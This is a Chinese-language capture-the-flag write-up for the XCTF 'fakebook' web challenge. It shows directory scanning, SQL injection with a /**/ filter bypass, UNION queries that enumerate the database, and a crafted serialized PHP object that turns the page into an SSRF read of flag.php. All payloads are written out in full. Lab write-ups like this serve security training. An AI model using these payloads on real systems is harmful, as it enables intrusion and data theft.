XCTF fakebook

Posted darklee

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF fakebook相关的知识,希望对你有一定的参考价值。

一.进入实验

  1.先用   dirsearch  去扫描目录  python dirsearch.py -u "http://111.198.29.45:33988/" -e *

  技术图片

 

   根据扫描的结果我们发现了robots.txt,user.php,view.php等等,扫完之后先不急着去访问,在进入实验环境后,  

  提示让我们注册一个账号,这里随便注册,注意一下blog的格式就行。

  然后用我们注册好的账号进行登录。

  2.登录后发现url 为  http://111.198.29.45:33988/view.php?no=1  ,第一时间想到是否存在sql注入,我们输入   ‘

  技术图片

 

   根据报错的显示,可以肯定存在sql注入的,然后我们用 order by 语句判断查询的字段数目,以便于后续进行  union 查询,

  先 输入   1  order by  6#  ,查询失败。

  技术图片

 

   然后我们再输入  1 order by 4 #  ,此时页面显示正常,由此判断查询的字段数为4。

  获得了字段数,我们就进行union联合查询,尝试输入  1 union select 1,database(),1,1 #

  页面返回 no hack ~_~,很明显应该是后端检测到我们的注入关键词。

  这里我们猜测它检测到的可能是   union select,我们尝试用/**/进行绕过,

  在mysql中 /**/插入到sql语句中既可以当注释,也可以当空格,所以这里我们构造  -1 union/**/select 1,database(),1,1 #,

  技术图片

 

   果然能够绕过成功,得到当前的数据库名为fakebook,那么我们以同样的方法获取其他数据:

  获取表名: -1 union/**/select 1,group_concat(table_name),1,1 from information_schema.tables where table_schema=‘fakebook‘#

  技术图片

 

   

  获取列名: -1 union/**/select 1,group_concat(column_name),1,1 from information_schema.columns where table_name=‘users‘#

  技术图片

 

 

  

  这里我们重点看一下data,觉得可能有我们需要的信息:   -1 union/**/select 1,data,1,1 from users #

  技术图片

 

   这里发现data字段里面的值为我们开始注册是输入的信息,它将这些信息进行了序列化并存储在数据库中,然后当我们查询的时候再反序列化显示在前端。

  3.开头我们扫描出了  robots.txt文件,那我们就访问看看。

  技术图片

 

  再根据提示打开user.php.bak,发现了如下代码:

  技术图片

 

  通过这段代码可以知道,这个函数会读取blog,然后访问它,如果访问成功则会读取文件的信息,否则返回404,

   所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,

  直接人为构造联合查询返回语句,data字段在第四个位置。

  构造如下:

  技术图片

 

 

  view.php?no=0/**/union/**/select 1,2,3,‘O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

  注册成功后它就会显示你注册的账户信息,然后查看源码,如下图,点击iframe的src属性值即可获得flag

  技术图片

 

 技术图片

 

 

 

 

  

以上是关于XCTF fakebook的主要内容,如果未能解决你的问题,请参考以下文章

网鼎杯 fakebook

攻防世界:web fakebook(高质量靶场)

[网鼎杯 2018]Fakebook

网鼎杯2018fakebook

[网鼎杯 2018]Fakebook

攻防世界fakebook